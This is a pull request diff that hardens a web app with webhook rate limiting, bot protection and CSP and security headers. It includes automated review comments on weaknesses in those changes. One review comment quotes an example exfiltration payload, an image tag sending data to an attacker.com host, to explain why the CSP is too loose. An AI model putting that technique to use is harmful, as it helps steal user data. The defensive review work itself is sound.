Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 10 additions & 3 deletions e2e/flows/20-all-features-smoke.spec.ts
Original file line number Diff line number Diff line change
Expand Up @@ -311,9 +311,16 @@ test.describe("@smoke Rotas públicas (gate de CI)", () => {
await page.goto("/login");
await page.fill(Sel.login.email, "smoke-fake@example.com");
await page.fill(Sel.login.password, "SenhaErrada@2025!");
await page.locator(Sel.login.submit).first().click();
await expect(page).toHaveURL(/\/login/, { timeout: 8_000 });
await expect(page.locator(Sel.login.submit).first()).toBeEnabled({ timeout: 15_000 });
// Issue #61: o click default tinha timeout de 10s e flutava em CI quando o
// form ficava no estado "submitting" por mais que ~10s (Vite cold start +
// SPA hydration + Supabase auth real). Garante estado-final-clicável e
// amplia timeout de click p/ alinhar com toBeEnabled abaixo.
const submit = page.locator(Sel.login.submit).first();
await expect(submit).toBeVisible({ timeout: 15_000 });
await expect(submit).toBeEnabled({ timeout: 15_000 });
await submit.click({ timeout: 15_000 });
await expect(page).toHaveURL(/\/login/, { timeout: 10_000 });
await expect(submit).toBeEnabled({ timeout: 15_000 });
});

// 95 · Negativo de recovery: /reset-password sem token NÃO habilita reset.
Expand Down
24 changes: 24 additions & 0 deletions supabase/functions/webhook-inbound/index.ts
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,13 @@
// Validates HMAC signature using the secret stored in env (referenced by the
// endpoint row), records every event in inbound_webhook_events.
//
// Hardening OPS-002 (auditoria back-end sênior 2026-05-22):
// • bot-protection por IP no boot do handler (60 req/min, 30min block)
// — evita DoS por inflação de inbound_webhook_events.
// • INSERT no inbound_webhook_events só acontece após HMAC validar
// OU se houver endpoint configurado mas signature inválida (registro
// forense limitado a callers que conhecem ao menos o slug).
//
// Contract validation:
// - v1 = passthrough (compat com produção). default.
// - v2 = envelope strict { event, occurred_at, data, idempotency_key? }
Expand All @@ -14,6 +21,7 @@ import { encodeHex } from "https://deno.land/std@0.224.0/encoding/hex.ts";
import { buildPublicCorsHeaders } from "../_shared/cors.ts";
import { parseContract } from "../_shared/contracts/index.ts";
import { WebhookInboundSchemas } from "../_shared/contracts/schemas/webhook-inbound.ts";
import { runBotProtection } from "../_shared/bot-protection.ts";

const corsHeaders = buildPublicCorsHeaders({
extraAllowHeaders: ["x-signature-256", "x-event", "accept-version"],
Expand Down Expand Up @@ -43,6 +51,22 @@ function timingSafeEqual(a: string, b: string): boolean {
Deno.serve(async (req) => {
if (req.method === "OPTIONS") return new Response(null, { headers: corsHeaders });

// OPS-002: rate-limit anti-DoS por IP antes de qualquer trabalho de DB.
// Webhooks legítimos têm baixa cadência (≪60/min por IP); caller espurioso
// que ultrapassa é blocked por 30min e nunca chega no INSERT.
Comment on lines +54 to +56
const protection = await runBotProtection(
req,
{
endpoint: "webhook-inbound",
maxRequests: 60,
windowSeconds: 60,
blockSeconds: 1800,
Comment on lines +60 to +63
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Scope webhook rate limit by slug to avoid cross-endpoint throttling

This configuration applies a single webhook-inbound limiter keyed by IP before slug resolution, so all inbound endpoints share the same 60 req/min bucket per source IP. If one integration on a shared sender IP is noisy (or retries), other independent slugs from that same IP are also forced into 429 despite valid signatures. Isolating the key by slug (e.g., ip+slug) avoids this cross-endpoint interference.

Useful? React with 👍 / 👎.

allowSearchBots: false,
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1: The new rate limit can be bypassed because IP identity is taken from spoofable x-forwarded-for; use a trusted proxy header for customIdentifier in this endpoint.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At supabase/functions/webhook-inbound/index.ts, line 64:

<comment>The new rate limit can be bypassed because IP identity is taken from spoofable `x-forwarded-for`; use a trusted proxy header for `customIdentifier` in this endpoint.</comment>

<file context>
@@ -43,6 +51,22 @@ function timingSafeEqual(a: string, b: string): boolean {
+      maxRequests: 60,
+      windowSeconds: 60,
+      blockSeconds: 1800,
+      allowSearchBots: false,
+    },
+    corsHeaders,
</file context>
Suggested change
allowSearchBots: false,
allowSearchBots: false,
customIdentifier: req.headers.get("cf-connecting-ip") || req.headers.get("x-real-ip") || "unknown",

Comment on lines +60 to +64
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Skip bot UA blocking on inbound webhook endpoint

Applying runBotProtection here blocks requests before HMAC validation, but this endpoint is meant for machine-to-machine webhook traffic. The shared bot filter classifies empty/short User-Agents and common automation clients (for example curl, axios, node-fetch, undici) as forbidden, so legitimate webhook providers or internal automated callers can receive 403 even with a valid signature. This effectively turns a security hardening into a functional outage for some integrations.

Useful? React with 👍 / 👎.

},
corsHeaders,
);
if (!protection.allowed) return protection.blockResponse!;
Comment on lines +55 to +68

const supabase = createClient(
Deno.env.get("SUPABASE_URL")!,
Deno.env.get("SUPABASE_SERVICE_ROLE_KEY")!,
Expand Down
39 changes: 38 additions & 1 deletion vercel.json
Original file line number Diff line number Diff line change
@@ -1,4 +1,41 @@
{
"$schema": "https://openapi.vercel.sh/vercel.json",
"rewrites": [{ "source": "/(.*)", "destination": "/index.html" }]
"rewrites": [{ "source": "/(.*)", "destination": "/index.html" }],
"headers": [
{
"source": "/(.*)",
"headers": [
{
"key": "Strict-Transport-Security",
"value": "max-age=31536000; includeSubDomains; preload"
},
{
"key": "X-Content-Type-Options",
"value": "nosniff"
},
{
"key": "X-Frame-Options",
"value": "DENY"
},
{
"key": "Referrer-Policy",
"value": "strict-origin-when-cross-origin"
},
{
"key": "Permissions-Policy",
"value": "camera=(), microphone=(self), geolocation=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()"
},
Comment on lines +24 to +27
{
"key": "Content-Security-Policy",
"value": "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.gpteng.co https://vercel.live https://*.vercel.app; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: blob: https: ; font-src 'self' data: https://fonts.gstatic.com; connect-src 'self' https://*.supabase.co wss://*.supabase.co https://api.lovable.dev https://*.lovable.app https://*.vercel.app https://*.ingest.sentry.io https://*.glitchtip.io https://*.elevenlabs.io wss://*.elevenlabs.io https://api.cnpja.com https://*.bitrix24.com.br https://*.bitrix24.com; media-src 'self' blob: https:; worker-src 'self' blob:; frame-src 'self' https://vercel.live; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src 'none'; upgrade-insecure-requests"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: CSP uses bare https: in img-src and media-src, allowing content from any HTTPS origin. This weakens the CSP because an attacker with XSS can exfiltrate data via image requests (<img src="https://attacker.com/?data=...">) without the CSP blocking it. The rest of the CSP specifies concrete domains — these two directives should follow the same pattern by restricting to specific trusted image/media origins (e.g., explicit Cloudflare Images domain, https://*.vercel.app, etc.) instead of the broad https: scheme.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At vercel.json, line 30:

<comment>CSP uses bare `https:` in `img-src` and `media-src`, allowing content from any HTTPS origin. This weakens the CSP because an attacker with XSS can exfiltrate data via image requests (`<img src="https://attacker.com/?data=...">`) without the CSP blocking it. The rest of the CSP specifies concrete domains — these two directives should follow the same pattern by restricting to specific trusted image/media origins (e.g., explicit Cloudflare Images domain, `https://*.vercel.app`, etc.) instead of the broad `https:` scheme.</comment>

<file context>
@@ -1,4 +1,41 @@
+        },
+        {
+          "key": "Content-Security-Policy",
+          "value": "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.gpteng.co https://vercel.live https://*.vercel.app; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: blob: https: ; font-src 'self' data: https://fonts.gstatic.com; connect-src 'self' https://*.supabase.co wss://*.supabase.co https://api.lovable.dev https://*.lovable.app https://*.vercel.app https://*.ingest.sentry.io https://*.glitchtip.io https://*.elevenlabs.io wss://*.elevenlabs.io https://api.cnpja.com https://*.bitrix24.com.br https://*.bitrix24.com; media-src 'self' blob: https:; worker-src 'self' blob:; frame-src 'self' https://vercel.live; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src 'none'; upgrade-insecure-requests"
+        }
+      ]
</file context>

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Allow Cloudflare Stream embeds in CSP frame-src

The new CSP only allows frame-src 'self' https://vercel.live, but product/admin video playback renders Cloudflare Stream via iframe (getCloudflareEmbedUrl builds https://iframe.videodelivery.net/... in src/utils/cloudflare-stream.ts, consumed by GalleryVideoPlayer and ProductVideoGallery). With this policy, those iframes are blocked by CSP and video previews stop working in production.

Useful? React with 👍 / 👎.

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Permit configured Sentry DSN host in CSP connect-src

The CSP connect-src whitelist only includes *.ingest.sentry.io/*.glitchtip.io, but this repo documents VITE_SENTRY_DSN values on a custom host (for example https://...@erros.atomicabr.com.br/4 in docs/hardening/ONDA-5-GLITCHTIP-INIT.md) and src/lib/sentry.ts sends telemetry to that DSN origin. Under the new policy those requests are blocked, so error reporting silently stops when using the documented DSN setup.

Useful? React with 👍 / 👎.

}
]
},
{
"source": "/(.*)\\.(js|mjs|css|woff2|woff|ttf|otf|eot|png|jpg|jpeg|gif|webp|avif|svg|ico)",
"headers": [
{ "key": "Cache-Control", "value": "public, max-age=31536000, immutable" }
Comment on lines +35 to +37
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Limit immutable cache headers to versioned static assets

This rule marks every png/svg/ico (and other extensions) as immutable for one year, but the app serves several fixed-path, non-hashed files (e.g. /favicon.ico, /favicon.svg, /placeholder.svg, /images/promo-brindes-logo.png). After any update to those files, returning users can stay on stale assets until cache expiry because immutable disables revalidation. Restrict this policy to fingerprinted filenames (or reduce TTL for public fixed URLs).

Useful? React with 👍 / 👎.

]
}
]
}
Loading